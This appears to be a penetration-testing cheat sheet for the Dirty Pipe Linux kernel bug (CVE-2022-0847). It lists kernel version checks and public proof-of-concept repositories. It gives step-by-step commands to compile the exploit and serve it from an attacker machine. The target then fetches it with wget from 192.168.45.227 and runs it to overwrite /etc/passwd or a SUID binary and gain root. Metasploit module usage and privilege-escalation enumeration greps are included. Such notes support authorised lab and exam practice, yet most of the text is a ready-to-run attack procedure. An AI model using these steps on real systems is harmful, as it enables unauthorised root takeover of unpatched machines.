Dirty Pipe — CVE-2022-0847
Ctrl+F:
Dirty Pipe·CVE-2022-0847· pipe buffer ·/etc/passwdoverwrite
Primary PoC repo: AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
Dirty Pipe — logic bug in Linux pipe buffer handling. Unprivileged user can overwrite read-only file contents (page cache) — including /etc/passwd and SUID binaries → root.
Named for similarity to Dirty COW - CVE-2016-5195 but much easier to exploit (no race, rarely crashes).
→ Linux > 📌 9) Kernel Exploits · linux-exploit-suggester
📌 When to try
| Signal | Check |
|---|---|
| Kernel 5.8 – 5.16.10 | uname -r (patched in 5.16.11, 5.15.25, 5.10.102) |
| LES / LinPEAS | CVE-2022-0847 |
| Ubuntu 20.04/22.04, Debian 11 | Common in 2022–2023 lab images |
uname -a
uname -rWrite-up: dirtypipe.cm4all.com
📌 Reference links
| Resource | URL |
|---|---|
| Original disclosure | dirtypipe.cm4all.com |
| AlexisAhmed PoCs | CVE-2022-0847-DirtyPipe-Exploits |
| Arinerron PoC | CVE-2022-0847-DirtyPipe-Exploit |
| SUID variant | haxx.in/dirtypipez.c |
📌 Exploit 1 — overwrite /etc/passwd (recommended)
# Kali
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh
# or: gcc -o exploit-1 exploit-1.c
python3 -m http.server 8080# Target
wget http://192.168.45.227:8080/exploit-1
chmod +x exploit-1
./exploit-1
su root
# password often empty or shown in PoC output
id📌 Exploit 2 — patch SUID binary
When /etc/passwd edit isn’t ideal — overwrite a SUID binary:
find / -perm -4000 -type f 2>/dev/null
./exploit-2 /usr/bin/su # path varies by PoC repo📌 searchsploit / MSF
searchsploit CVE-2022-0847
./linux-exploit-suggester.sh -f uname.txt -s CVE-2022-0847use exploit/linux/local/cve_2022_0847_dirtypipe
set SESSION 1
run📌 Troubleshooting
| Problem | Fix |
|---|---|
| Kernel patched | Check exact build — backports common |
Exploit succeeds, can’t su | Read PoC output for password / passwd line format |
gcc missing | Compile on Kali, transfer binary |
| Restore passwd after | Some PoCs backup — restore if re-testing |
📌 Quick cheat sheet
uname -r # 5.8 – 5.16.x?
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits && bash compile.sh
./exploit-1 && su root
id📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.
→ Linux > 📌 1) Basic Manual Enumeration